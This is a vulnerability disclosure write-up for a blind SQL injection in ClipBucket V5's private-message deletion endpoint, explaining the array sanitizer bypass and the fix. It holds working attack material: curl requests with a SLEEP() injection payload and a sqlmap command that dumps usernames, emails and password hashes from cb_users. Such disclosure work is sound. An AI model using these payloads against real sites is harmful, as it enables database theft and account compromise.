CVE-2026-77928: Blind SQL Injection in ClipBucket V5 Private Message Deletion
A blind SQL injection vulnerability in ClipBucket V5 private messaging that enables full database extraction, demonstrated with complete cb_users table dump including password hashes.

The private message deletion endpoint passes unsanitized array values directly to SQL. Using time-based blind injection, I extracted the complete cb_users table — including all password hashes — in 36 minutes.
Introduction
While auditing ClipBucket V5's private messaging functionality, I discovered a blind SQL injection vulnerability that allows any user with messaging access to extract the entire database — including all user credentials.
Using this vulnerability, I successfully extracted the complete cb_users table with all password hashes in approximately 36 minutes using automated tooling.
Root Cause
The Array Bypass
ClipBucket's clean_requests() sanitizer strips internal SQL markers from request parameters — but explicitly skips arrays:
foreach ($posts as $key => $post) {
if (!is_array($post)) {
$clean_posts[$key] = preg_replace(['/\|no_mc\|/', '/\|f\|/'], '', $post);
} else {
$clean_posts[$key] = $post; // Arrays bypass ALL sanitization
}
}
Submitting a parameter as msg_id[]=value instead of msg_id=value bypasses all filtering — for the array itself and every element inside it.
The Entry Point
The message deletion handler explicitly expects an array and iterates through it:
if (isset($_POST['delete_pm']) && is_array($_POST['msg_id'])) {
...
for ($pms = 0; $pms < $total; $pms++) {
if (!empty($_POST['msg_id'][$pms])) {
$cbpm->delete_msg($_POST['msg_id'][$pms], user_id(), $box);
}
}
}
The SQL Injection Sink
The get_inbox_message() function interpolates $mid directly into SQL:
function get_inbox_message($mid, $uid = null)
{
$result = Clipbucket_db::getInstance()->select(
tbl($this->tbl . ',users'),
tbl($this->tbl . '.*,users.userid,users.username'),
" message_id='$mid' AND message_to LIKE '%#$uid#%'..." // No escaping!
);
}
$mid has no type hint, no mysql_clean() call, no cast — it reaches raw SQL string interpolation completely unmodified. The get_outbox_message() function (line 300) has the identical pattern.
The vulnerable query already joins cb_messages with cb_users — the injection point has direct access to user credentials without needing a UNION attack. The data is already in scope.
Discovery Process
- 1Sanitizer Gap
Found arrays bypass clean_requests()
- 2Array Consumers
grep for is_array($_POST patterns
- 3Trace Flow
msg_id[] → delete_msg() → get_inbox_message()
- 4No Escaping
$mid interpolates directly into WHERE
- 5Confirm
Validated with time-based blind injection
Exploitation
Tested against ClipBucket V5 master @ commit da1a665 using a plain "Registered User" account with no elevated role. Default messaging permissions allow this attack.
Note: At least one message must exist in the inbox for SLEEP() to fire — an empty inbox means the WHERE clause evaluates against zero rows. This is a testing artifact, not evidence of safety.
Step 1: Confirm Time-Based Injection
# Baseline - should be fast (~0.045s)
time curl -s -b cookies.txt -X POST \
"http://target/private_message.php?mode=inbox" \
--data-urlencode "delete_pm=1" \
--data-urlencode "msg_id[]=999999" -o /dev/null
# Injected - should take 4+ seconds
time curl -s -b cookies.txt -X POST
"http://target/private_message.php?mode=inbox"
--data-urlencode "delete_pm=1"
--data-urlencode "msg_id[]=1' OR SLEEP(4)-- -" -o /dev/null
Observed: Baseline ~0.045s, injected 4-12s (scaling with cross join size).
Step 2: Verify via MySQL Query Log
SELECT cb_messages.*,cb_users.userid,cb_users.username
FROM cb_messages,cb_users
WHERE message_id='1' OR SLEEP(2)-- -'
AND message_to LIKE '%#3#%'
AND userid=cb_messages.message_from
Step 3: Full Database Extraction with sqlmap
sqlmap -u "http://target/private_message.php?mode=inbox" \
--cookie="PHPSESSID=<session>" \
--data="delete_pm=1&msg_id[]=1*" \
--batch --technique=T --dbms=mysql --time-sec=3 \
--dump -D clipbucket -T cb_users -C username,password,email,level
Result (after ~36 minutes):
Database: clipbucket
Table: cb_users
[4 entries]
+---------+-----------+---------------------------------------------+
| level | username | password |
+---------+-----------+---------------------------------------------+
| 1 | admin | fdbd7de99492a5cb7e0e5f56cd8e01ce9ab7fe... |
| 2 | lowuser | 3a5856b74da01ebd81308576476a591a53349b... |
| 5 | modtest | d14482757c1de742da54e23600cc819dc295e7... |
| 6 | anonymous | |
+---------+-----------+---------------------------------------------+
All 4 rows, all password hashes — matched the ground-truth database values byte-for-byte.
Impact
Complete database extraction demonstrated: all usernames, emails, password hashes.
Read-only extraction via blind injection; no data modification.
No direct availability impact from this vulnerability.
CVSS 4.0 Breakdown
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Remediation
Cast $mid to integer in both get_inbox_message() and get_outbox_message().
function get_inbox_message($mid, $uid = null)
{
$mid = (int)$mid; // Force integer type
if (!$uid) { $uid = user_id(); }
// ... rest of function
}
Force integer type in get_inbox_message() and get_outbox_message().
Handle array parameters properly in the sanitizer.
Check set_message_status() and similar functions.
Migrate from string interpolation to prepared statements.
Regression Tests
- Submitting
msg_id[]=1'returns an error or is safely handled - Time-based payloads do not cause delayed responses
- Non-integer message IDs are rejected or cast to zero
Timeline
- 06 Aug 2026Discovered
Found array bypass in clean_requests() and traced to pm.class.php.
- 06 Aug 2026Reproduced
Full cb_users extraction via sqlmap confirmed against commit da1a665.
- 18 Sep 2026Reported
Disclosed via GitHub Security Advisory (GHSA draft submitted).
- 21 Sep 2026CVE Assigned
CVE-2026-77928 issued; writeup published.
References
The Lesson
When a query already joins user tables, your injection point has credentials in scope. The implicit join made this extraction trivial — no UNION needed, the data was already there.
The 36-minute full credential dump demonstrates the practical severity. Default registration provides the required access, making this effectively unauthenticated on open platforms.
This vulnerability was discovered through ethical security research and responsibly disclosed through GitHub Security Advisories. Testing was performed in isolated lab environments.
Adam Nurudini